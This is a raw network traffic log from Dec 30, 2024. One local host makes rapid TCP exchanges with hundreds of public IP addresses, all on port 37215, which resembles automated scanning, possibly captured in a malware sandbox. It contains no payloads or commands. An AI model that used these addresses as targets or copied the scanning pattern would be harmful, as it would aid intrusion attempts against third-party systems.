Dec 30, 2024 11:58:09.520392895 CET	37215	52698	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:09.520401955 CET	37215	45394	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:09.520411015 CET	37215	56014	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:09.520426989 CET	37215	38408	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:09.520441055 CET	37215	54414	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:09.520450115 CET	37215	39934	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:09.520457983 CET	37215	48558	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:09.520462990 CET	37215	45136	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:09.520483017 CET	37215	40330	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:09.520495892 CET	37215	47356	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:09.520504951 CET	37215	36498	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:09.520507097 CET	48176	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.520513058 CET	37215	34002	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:09.520523071 CET	37215	60172	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:09.520530939 CET	37215	38390	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:09.520539999 CET	37215	45784	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:09.520548105 CET	37215	50064	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:09.520555973 CET	37215	47386	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:09.520564079 CET	37215	55110	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:09.520571947 CET	37215	38544	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:09.520580053 CET	37215	46354	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:09.520587921 CET	37215	35994	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:09.520595074 CET	37215	35004	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:09.520603895 CET	37215	50086	41.93.37.249	192.168.2.13
Dec 30, 2024 11:58:09.520612001 CET	37215	35150	156.197.244.74	192.168.2.13
Dec 30, 2024 11:58:09.520622015 CET	37215	35328	156.10.138.172	192.168.2.13
Dec 30, 2024 11:58:09.520628929 CET	37215	42194	156.87.111.8	192.168.2.13
Dec 30, 2024 11:58:09.520637989 CET	37215	52126	41.245.163.128	192.168.2.13
Dec 30, 2024 11:58:09.520646095 CET	37215	35078	197.153.6.73	192.168.2.13
Dec 30, 2024 11:58:09.520654917 CET	37215	48644	197.253.100.253	192.168.2.13
Dec 30, 2024 11:58:09.520667076 CET	37215	42026	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:09.520674944 CET	37215	46888	197.119.104.157	192.168.2.13
Dec 30, 2024 11:58:09.520684004 CET	37215	41264	197.144.208.34	192.168.2.13
Dec 30, 2024 11:58:09.520693064 CET	37215	48696	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:09.520704031 CET	37215	49572	156.145.136.194	192.168.2.13
Dec 30, 2024 11:58:09.520711899 CET	37215	34250	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:09.520720005 CET	37215	35738	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:09.520728111 CET	37215	46098	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:09.520736933 CET	37215	47130	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:09.520744085 CET	37215	34748	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:09.520754099 CET	37215	58970	197.253.238.128	192.168.2.13
Dec 30, 2024 11:58:09.520791054 CET	58970	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.521430969 CET	41056	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.521526098 CET	37215	43260	41.224.35.102	192.168.2.13
Dec 30, 2024 11:58:09.521563053 CET	43260	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.521789074 CET	37215	34250	41.105.190.52	192.168.2.13
Dec 30, 2024 11:58:09.521826982 CET	34250	37215	192.168.2.13	41.105.190.52
Dec 30, 2024 11:58:09.521893024 CET	37215	49572	156.145.136.194	192.168.2.13
Dec 30, 2024 11:58:09.521902084 CET	37215	48696	197.177.210.99	192.168.2.13
Dec 30, 2024 11:58:09.521910906 CET	37215	41264	197.144.208.34	192.168.2.13
Dec 30, 2024 11:58:09.521920919 CET	37215	46888	197.119.104.157	192.168.2.13
Dec 30, 2024 11:58:09.521929026 CET	37215	42026	41.191.100.80	192.168.2.13
Dec 30, 2024 11:58:09.521939039 CET	37215	48644	197.253.100.253	192.168.2.13
Dec 30, 2024 11:58:09.521945000 CET	49572	37215	192.168.2.13	156.145.136.194
Dec 30, 2024 11:58:09.521945000 CET	48696	37215	192.168.2.13	197.177.210.99
Dec 30, 2024 11:58:09.521959066 CET	41264	37215	192.168.2.13	197.144.208.34
Dec 30, 2024 11:58:09.521962881 CET	46888	37215	192.168.2.13	197.119.104.157
Dec 30, 2024 11:58:09.521974087 CET	42026	37215	192.168.2.13	41.191.100.80
Dec 30, 2024 11:58:09.521974087 CET	48644	37215	192.168.2.13	197.253.100.253
Dec 30, 2024 11:58:09.521986008 CET	37215	35078	197.153.6.73	192.168.2.13
Dec 30, 2024 11:58:09.521996021 CET	37215	52126	41.245.163.128	192.168.2.13
Dec 30, 2024 11:58:09.522003889 CET	37215	42194	156.87.111.8	192.168.2.13
Dec 30, 2024 11:58:09.522011995 CET	37215	35328	156.10.138.172	192.168.2.13
Dec 30, 2024 11:58:09.522020102 CET	52126	37215	192.168.2.13	41.245.163.128
Dec 30, 2024 11:58:09.522022009 CET	37215	35150	156.197.244.74	192.168.2.13
Dec 30, 2024 11:58:09.522028923 CET	35078	37215	192.168.2.13	197.153.6.73
Dec 30, 2024 11:58:09.522030115 CET	37215	50086	41.93.37.249	192.168.2.13
Dec 30, 2024 11:58:09.522038937 CET	37215	35004	41.48.239.158	192.168.2.13
Dec 30, 2024 11:58:09.522042036 CET	42194	37215	192.168.2.13	156.87.111.8
Dec 30, 2024 11:58:09.522048950 CET	37215	35994	197.224.155.135	192.168.2.13
Dec 30, 2024 11:58:09.522057056 CET	37215	46354	197.95.193.215	192.168.2.13
Dec 30, 2024 11:58:09.522064924 CET	37215	38544	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:09.522082090 CET	35004	37215	192.168.2.13	41.48.239.158
Dec 30, 2024 11:58:09.522088051 CET	50086	37215	192.168.2.13	41.93.37.249
Dec 30, 2024 11:58:09.522094011 CET	35150	37215	192.168.2.13	156.197.244.74
Dec 30, 2024 11:58:09.522095919 CET	35994	37215	192.168.2.13	197.224.155.135
Dec 30, 2024 11:58:09.522095919 CET	46354	37215	192.168.2.13	197.95.193.215
Dec 30, 2024 11:58:09.522098064 CET	35328	37215	192.168.2.13	156.10.138.172
Dec 30, 2024 11:58:09.522109985 CET	37215	55110	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:09.522116899 CET	38544	37215	192.168.2.13	41.77.27.207
Dec 30, 2024 11:58:09.522124052 CET	37215	47386	41.150.250.158	192.168.2.13
Dec 30, 2024 11:58:09.522133112 CET	37215	50064	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:09.522141933 CET	37215	45784	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:09.522149086 CET	55110	37215	192.168.2.13	197.90.239.211
Dec 30, 2024 11:58:09.522150040 CET	37215	38390	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:09.522159100 CET	37215	60172	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:09.522165060 CET	50064	37215	192.168.2.13	41.89.104.82
Dec 30, 2024 11:58:09.522166967 CET	37215	34002	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:09.522176027 CET	37215	36498	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:09.522180080 CET	47386	37215	192.168.2.13	41.150.250.158
Dec 30, 2024 11:58:09.522185087 CET	37215	47356	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:09.522193909 CET	37215	40330	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:09.522196054 CET	38390	37215	192.168.2.13	156.138.15.86
Dec 30, 2024 11:58:09.522196054 CET	60172	37215	192.168.2.13	156.57.234.191
Dec 30, 2024 11:58:09.522201061 CET	45784	37215	192.168.2.13	41.228.250.198
Dec 30, 2024 11:58:09.522203922 CET	37215	45136	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:09.522207975 CET	34002	37215	192.168.2.13	197.33.251.33
Dec 30, 2024 11:58:09.522233963 CET	36498	37215	192.168.2.13	156.191.178.167
Dec 30, 2024 11:58:09.522233963 CET	47356	37215	192.168.2.13	156.0.232.213
Dec 30, 2024 11:58:09.522236109 CET	45136	37215	192.168.2.13	41.57.208.136
Dec 30, 2024 11:58:09.522236109 CET	40330	37215	192.168.2.13	197.226.100.137
Dec 30, 2024 11:58:09.522255898 CET	37215	48558	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:09.522265911 CET	37215	39934	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:09.522274971 CET	37215	54414	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:09.522283077 CET	37215	38408	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:09.522290945 CET	37215	56014	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:09.522294044 CET	48558	37215	192.168.2.13	41.174.8.47
Dec 30, 2024 11:58:09.522294998 CET	37215	45394	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:09.522299051 CET	39934	37215	192.168.2.13	156.109.165.251
Dec 30, 2024 11:58:09.522304058 CET	37215	52698	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:09.522322893 CET	56014	37215	192.168.2.13	41.148.153.144
Dec 30, 2024 11:58:09.522329092 CET	54414	37215	192.168.2.13	41.148.173.226
Dec 30, 2024 11:58:09.522329092 CET	38408	37215	192.168.2.13	197.35.236.212
Dec 30, 2024 11:58:09.522330999 CET	37215	39372	156.57.20.178	192.168.2.13
Dec 30, 2024 11:58:09.522335052 CET	52698	37215	192.168.2.13	41.247.241.14
Dec 30, 2024 11:58:09.522335052 CET	45394	37215	192.168.2.13	156.239.49.238
Dec 30, 2024 11:58:09.522342920 CET	37784	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.522345066 CET	37215	36214	156.122.179.59	192.168.2.13
Dec 30, 2024 11:58:09.522361040 CET	37215	57266	197.31.42.248	192.168.2.13
Dec 30, 2024 11:58:09.522370100 CET	37215	41876	156.249.168.197	192.168.2.13
Dec 30, 2024 11:58:09.522381067 CET	39372	37215	192.168.2.13	156.57.20.178
Dec 30, 2024 11:58:09.522383928 CET	37215	33834	41.210.108.168	192.168.2.13
Dec 30, 2024 11:58:09.522387981 CET	36214	37215	192.168.2.13	156.122.179.59
Dec 30, 2024 11:58:09.522392988 CET	37215	59716	156.235.175.169	192.168.2.13
Dec 30, 2024 11:58:09.522398949 CET	41876	37215	192.168.2.13	156.249.168.197
Dec 30, 2024 11:58:09.522403002 CET	37215	49900	156.6.167.142	192.168.2.13
Dec 30, 2024 11:58:09.522413015 CET	37215	55766	197.21.94.66	192.168.2.13
Dec 30, 2024 11:58:09.522419930 CET	33834	37215	192.168.2.13	41.210.108.168
Dec 30, 2024 11:58:09.522420883 CET	37215	54184	156.37.158.107	192.168.2.13
Dec 30, 2024 11:58:09.522425890 CET	59716	37215	192.168.2.13	156.235.175.169
Dec 30, 2024 11:58:09.522433043 CET	37215	52708	156.249.232.17	192.168.2.13
Dec 30, 2024 11:58:09.522437096 CET	57266	37215	192.168.2.13	197.31.42.248
Dec 30, 2024 11:58:09.522437096 CET	49900	37215	192.168.2.13	156.6.167.142
Dec 30, 2024 11:58:09.522442102 CET	37215	54778	156.120.79.177	192.168.2.13
Dec 30, 2024 11:58:09.522447109 CET	55766	37215	192.168.2.13	197.21.94.66
Dec 30, 2024 11:58:09.522454023 CET	37215	35064	156.2.5.246	192.168.2.13
Dec 30, 2024 11:58:09.522464037 CET	37215	57632	197.62.103.239	192.168.2.13
Dec 30, 2024 11:58:09.522473097 CET	37215	43188	197.191.64.62	192.168.2.13
Dec 30, 2024 11:58:09.522474051 CET	54184	37215	192.168.2.13	156.37.158.107
Dec 30, 2024 11:58:09.522474051 CET	52708	37215	192.168.2.13	156.249.232.17
Dec 30, 2024 11:58:09.522481918 CET	37215	52202	156.60.79.74	192.168.2.13
Dec 30, 2024 11:58:09.522490025 CET	37215	34868	156.64.101.67	192.168.2.13
Dec 30, 2024 11:58:09.522496939 CET	37215	51608	41.136.56.49	192.168.2.13
Dec 30, 2024 11:58:09.522497892 CET	54778	37215	192.168.2.13	156.120.79.177
Dec 30, 2024 11:58:09.522500992 CET	57632	37215	192.168.2.13	197.62.103.239
Dec 30, 2024 11:58:09.522502899 CET	35064	37215	192.168.2.13	156.2.5.246
Dec 30, 2024 11:58:09.522506952 CET	37215	34788	41.239.11.56	192.168.2.13
Dec 30, 2024 11:58:09.522519112 CET	43188	37215	192.168.2.13	197.191.64.62
Dec 30, 2024 11:58:09.522522926 CET	34868	37215	192.168.2.13	156.64.101.67
Dec 30, 2024 11:58:09.522522926 CET	51608	37215	192.168.2.13	41.136.56.49
Dec 30, 2024 11:58:09.522524118 CET	52202	37215	192.168.2.13	156.60.79.74
Dec 30, 2024 11:58:09.522532940 CET	34788	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.523356915 CET	35668	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.523507118 CET	37215	36320	41.12.207.118	192.168.2.13
Dec 30, 2024 11:58:09.523550034 CET	36320	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.524044037 CET	37215	45528	41.228.250.198	192.168.2.13
Dec 30, 2024 11:58:09.524054050 CET	37215	38134	156.138.15.86	192.168.2.13
Dec 30, 2024 11:58:09.524061918 CET	37215	49808	41.89.104.82	192.168.2.13
Dec 30, 2024 11:58:09.524071932 CET	37215	54854	197.90.239.211	192.168.2.13
Dec 30, 2024 11:58:09.524080038 CET	37215	38288	41.77.27.207	192.168.2.13
Dec 30, 2024 11:58:09.524301052 CET	48804	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.525068998 CET	37215	42160	197.205.231.36	192.168.2.13
Dec 30, 2024 11:58:09.525113106 CET	42160	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.525247097 CET	54052	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.526316881 CET	32974	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.526603937 CET	37215	48176	197.231.81.102	192.168.2.13
Dec 30, 2024 11:58:09.526622057 CET	37215	41056	156.42.86.214	192.168.2.13
Dec 30, 2024 11:58:09.526643038 CET	48176	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.526675940 CET	41056	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.527354002 CET	34954	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.527612925 CET	37215	37784	41.116.131.80	192.168.2.13
Dec 30, 2024 11:58:09.527652979 CET	37784	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.528018951 CET	37215	40074	197.226.100.137	192.168.2.13
Dec 30, 2024 11:58:09.528028965 CET	37215	33746	197.33.251.33	192.168.2.13
Dec 30, 2024 11:58:09.528037071 CET	37215	36242	156.191.178.167	192.168.2.13
Dec 30, 2024 11:58:09.528052092 CET	37215	59916	156.57.234.191	192.168.2.13
Dec 30, 2024 11:58:09.528063059 CET	37215	35668	41.228.208.172	192.168.2.13
Dec 30, 2024 11:58:09.528114080 CET	35668	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.528471947 CET	44076	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.529073000 CET	37215	48804	41.41.209.70	192.168.2.13
Dec 30, 2024 11:58:09.529112101 CET	48804	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.529386997 CET	44016	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.529978991 CET	37215	54052	156.112.84.245	192.168.2.13
Dec 30, 2024 11:58:09.530021906 CET	54052	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.530361891 CET	32904	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.531059980 CET	37215	32974	156.46.141.68	192.168.2.13
Dec 30, 2024 11:58:09.531096935 CET	32974	37215	192.168.2.13	156.46.141.68
Dec 30, 2024 11:58:09.531302929 CET	43958	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.532030106 CET	37215	39678	156.109.165.251	192.168.2.13
Dec 30, 2024 11:58:09.532038927 CET	37215	54158	41.148.173.226	192.168.2.13
Dec 30, 2024 11:58:09.532047033 CET	37215	44880	41.57.208.136	192.168.2.13
Dec 30, 2024 11:58:09.532054901 CET	37215	47100	156.0.232.213	192.168.2.13
Dec 30, 2024 11:58:09.532109022 CET	37215	34954	197.189.153.121	192.168.2.13
Dec 30, 2024 11:58:09.532145977 CET	34954	37215	192.168.2.13	197.189.153.121
Dec 30, 2024 11:58:09.532212973 CET	46050	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.533072948 CET	37406	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.533181906 CET	37215	44076	41.248.47.121	192.168.2.13
Dec 30, 2024 11:58:09.533219099 CET	44076	37215	192.168.2.13	41.248.47.121
Dec 30, 2024 11:58:09.533966064 CET	55972	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.534138918 CET	37215	44016	156.100.239.248	192.168.2.13
Dec 30, 2024 11:58:09.534182072 CET	44016	37215	192.168.2.13	156.100.239.248
Dec 30, 2024 11:58:09.534951925 CET	43628	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.535190105 CET	37215	32904	41.72.165.122	192.168.2.13
Dec 30, 2024 11:58:09.535231113 CET	32904	37215	192.168.2.13	41.72.165.122
Dec 30, 2024 11:58:09.535953999 CET	37302	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.536016941 CET	37215	45138	156.239.49.238	192.168.2.13
Dec 30, 2024 11:58:09.536034107 CET	37215	57010	197.31.42.248	192.168.2.13
Dec 30, 2024 11:58:09.536042929 CET	37215	55758	41.148.153.144	192.168.2.13
Dec 30, 2024 11:58:09.536057949 CET	37215	38152	197.35.236.212	192.168.2.13
Dec 30, 2024 11:58:09.536073923 CET	37215	48302	41.174.8.47	192.168.2.13
Dec 30, 2024 11:58:09.536082029 CET	37215	43958	156.232.203.131	192.168.2.13
Dec 30, 2024 11:58:09.536124945 CET	43958	37215	192.168.2.13	156.232.203.131
Dec 30, 2024 11:58:09.536676884 CET	56076	37215	192.168.2.13	156.54.127.16
Dec 30, 2024 11:58:09.536701918 CET	58806	37215	192.168.2.13	41.85.61.39
Dec 30, 2024 11:58:09.536704063 CET	37286	37215	192.168.2.13	41.90.249.247
Dec 30, 2024 11:58:09.536705971 CET	40058	37215	192.168.2.13	197.160.191.181
Dec 30, 2024 11:58:09.536711931 CET	34054	37215	192.168.2.13	197.101.199.18
Dec 30, 2024 11:58:09.536731005 CET	46500	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.536731005 CET	46500	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.537014961 CET	37215	46050	197.106.13.200	192.168.2.13
Dec 30, 2024 11:58:09.537055016 CET	46050	37215	192.168.2.13	197.106.13.200
Dec 30, 2024 11:58:09.537256956 CET	46802	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.537853003 CET	37215	37406	197.223.124.7	192.168.2.13
Dec 30, 2024 11:58:09.537930012 CET	54352	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.537933111 CET	37406	37215	192.168.2.13	197.223.124.7
Dec 30, 2024 11:58:09.537945032 CET	54352	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.538378954 CET	54654	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.538697004 CET	37215	55972	41.81.248.45	192.168.2.13
Dec 30, 2024 11:58:09.538763046 CET	55972	37215	192.168.2.13	41.81.248.45
Dec 30, 2024 11:58:09.538918972 CET	33834	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.538918972 CET	33834	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.539236069 CET	34136	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.539742947 CET	50544	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.539742947 CET	50544	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.539757967 CET	37215	43628	156.69.67.99	192.168.2.13
Dec 30, 2024 11:58:09.539803028 CET	43628	37215	192.168.2.13	156.69.67.99
Dec 30, 2024 11:58:09.540040016 CET	37215	33578	41.210.108.168	192.168.2.13
Dec 30, 2024 11:58:09.540047884 CET	37215	35958	156.122.179.59	192.168.2.13
Dec 30, 2024 11:58:09.540055990 CET	37215	52442	41.247.241.14	192.168.2.13
Dec 30, 2024 11:58:09.540062904 CET	37215	39116	156.57.20.178	192.168.2.13
Dec 30, 2024 11:58:09.540155888 CET	50846	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.540680885 CET	37215	37302	156.50.127.142	192.168.2.13
Dec 30, 2024 11:58:09.540688992 CET	35236	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:09.540688992 CET	35236	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:09.540725946 CET	37302	37215	192.168.2.13	156.50.127.142
Dec 30, 2024 11:58:09.541168928 CET	35290	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:09.541508913 CET	37215	56076	156.54.127.16	192.168.2.13
Dec 30, 2024 11:58:09.541553020 CET	56076	37215	192.168.2.13	156.54.127.16
Dec 30, 2024 11:58:09.541584969 CET	37215	58806	41.85.61.39	192.168.2.13
Dec 30, 2024 11:58:09.541594982 CET	37215	37286	41.90.249.247	192.168.2.13
Dec 30, 2024 11:58:09.541604042 CET	37215	40058	197.160.191.181	192.168.2.13
Dec 30, 2024 11:58:09.541626930 CET	58806	37215	192.168.2.13	41.85.61.39
Dec 30, 2024 11:58:09.541631937 CET	37286	37215	192.168.2.13	41.90.249.247
Dec 30, 2024 11:58:09.541650057 CET	37215	46500	197.39.31.160	192.168.2.13
Dec 30, 2024 11:58:09.541656971 CET	40058	37215	192.168.2.13	197.160.191.181
Dec 30, 2024 11:58:09.541698933 CET	58970	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.541698933 CET	58970	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.541717052 CET	37215	34054	197.101.199.18	192.168.2.13
Dec 30, 2024 11:58:09.541759968 CET	34054	37215	192.168.2.13	197.101.199.18
Dec 30, 2024 11:58:09.542041063 CET	37215	46802	197.39.31.160	192.168.2.13
Dec 30, 2024 11:58:09.542083025 CET	46802	37215	192.168.2.13	197.39.31.160
Dec 30, 2024 11:58:09.542154074 CET	59024	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.542682886 CET	37215	54352	156.181.91.78	192.168.2.13
Dec 30, 2024 11:58:09.542762041 CET	43260	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.542762041 CET	43260	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.543215036 CET	37215	54654	156.181.91.78	192.168.2.13
Dec 30, 2024 11:58:09.543236017 CET	43314	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.543256044 CET	54654	37215	192.168.2.13	156.181.91.78
Dec 30, 2024 11:58:09.543740034 CET	34788	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.543740988 CET	34788	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.543745041 CET	37215	33834	156.125.177.5	192.168.2.13
Dec 30, 2024 11:58:09.544027090 CET	37215	53928	156.37.158.107	192.168.2.13
Dec 30, 2024 11:58:09.544040918 CET	37215	49644	156.6.167.142	192.168.2.13
Dec 30, 2024 11:58:09.544049025 CET	37215	59460	156.235.175.169	192.168.2.13
Dec 30, 2024 11:58:09.544059038 CET	37215	41620	156.249.168.197	192.168.2.13
Dec 30, 2024 11:58:09.544198036 CET	34842	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.544768095 CET	37215	34136	156.125.177.5	192.168.2.13
Dec 30, 2024 11:58:09.544785023 CET	36320	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.544785023 CET	36320	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.544848919 CET	34136	37215	192.168.2.13	156.125.177.5
Dec 30, 2024 11:58:09.545197010 CET	36374	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.545605898 CET	37215	50544	197.206.63.90	192.168.2.13
Dec 30, 2024 11:58:09.545614004 CET	37215	50846	197.206.63.90	192.168.2.13
Dec 30, 2024 11:58:09.545627117 CET	42160	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.545627117 CET	42160	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.545660019 CET	37215	35236	156.123.60.116	192.168.2.13
Dec 30, 2024 11:58:09.545663118 CET	50846	37215	192.168.2.13	197.206.63.90
Dec 30, 2024 11:58:09.545947075 CET	37215	35290	156.123.60.116	192.168.2.13
Dec 30, 2024 11:58:09.545984983 CET	35290	37215	192.168.2.13	156.123.60.116
Dec 30, 2024 11:58:09.546005011 CET	42214	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.546449900 CET	37215	58970	197.253.238.128	192.168.2.13
Dec 30, 2024 11:58:09.546602011 CET	48176	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.546602011 CET	48176	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.546861887 CET	37215	59024	197.253.238.128	192.168.2.13
Dec 30, 2024 11:58:09.546899080 CET	59024	37215	192.168.2.13	197.253.238.128
Dec 30, 2024 11:58:09.546941996 CET	48230	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.547440052 CET	41056	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.547440052 CET	41056	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.547532082 CET	37215	43260	41.224.35.102	192.168.2.13
Dec 30, 2024 11:58:09.547844887 CET	41110	37215	192.168.2.13	156.42.86.214
Dec 30, 2024 11:58:09.548039913 CET	37215	51946	156.60.79.74	192.168.2.13
Dec 30, 2024 11:58:09.548048973 CET	37215	54522	156.120.79.177	192.168.2.13
Dec 30, 2024 11:58:09.548058033 CET	37215	52452	156.249.232.17	192.168.2.13
Dec 30, 2024 11:58:09.548074007 CET	37215	55510	197.21.94.66	192.168.2.13
Dec 30, 2024 11:58:09.548083067 CET	37215	43314	41.224.35.102	192.168.2.13
Dec 30, 2024 11:58:09.548146009 CET	43314	37215	192.168.2.13	41.224.35.102
Dec 30, 2024 11:58:09.548324108 CET	37784	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.548324108 CET	37784	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.548468113 CET	37215	34788	41.239.11.56	192.168.2.13
Dec 30, 2024 11:58:09.548885107 CET	37838	37215	192.168.2.13	41.116.131.80
Dec 30, 2024 11:58:09.549096107 CET	37215	34842	41.239.11.56	192.168.2.13
Dec 30, 2024 11:58:09.549149036 CET	34842	37215	192.168.2.13	41.239.11.56
Dec 30, 2024 11:58:09.549377918 CET	35668	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.549377918 CET	35668	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.549841881 CET	37215	36320	41.12.207.118	192.168.2.13
Dec 30, 2024 11:58:09.549906015 CET	35722	37215	192.168.2.13	41.228.208.172
Dec 30, 2024 11:58:09.550086021 CET	37215	36374	41.12.207.118	192.168.2.13
Dec 30, 2024 11:58:09.550142050 CET	36374	37215	192.168.2.13	41.12.207.118
Dec 30, 2024 11:58:09.550353050 CET	48804	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.550353050 CET	48804	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.550570011 CET	37215	42160	197.205.231.36	192.168.2.13
Dec 30, 2024 11:58:09.550715923 CET	48858	37215	192.168.2.13	41.41.209.70
Dec 30, 2024 11:58:09.550791979 CET	37215	42214	197.205.231.36	192.168.2.13
Dec 30, 2024 11:58:09.550843000 CET	42214	37215	192.168.2.13	197.205.231.36
Dec 30, 2024 11:58:09.551270008 CET	54052	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.551270008 CET	54052	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.551397085 CET	37215	48176	197.231.81.102	192.168.2.13
Dec 30, 2024 11:58:09.551662922 CET	54106	37215	192.168.2.13	156.112.84.245
Dec 30, 2024 11:58:09.551673889 CET	37215	48230	197.231.81.102	192.168.2.13
Dec 30, 2024 11:58:09.551721096 CET	48230	37215	192.168.2.13	197.231.81.102
Dec 30, 2024 11:58:09.552021027 CET	37215	51352	41.136.56.49	192.168.2.13
Dec 30, 2024 11:58:09.552030087 CET	37215	34808	156.2.5.246	192.168.2.13
Dec 30, 2024 11:58:09.552037954 CET	37215	42932	197.191.64.62	192.168.2.13
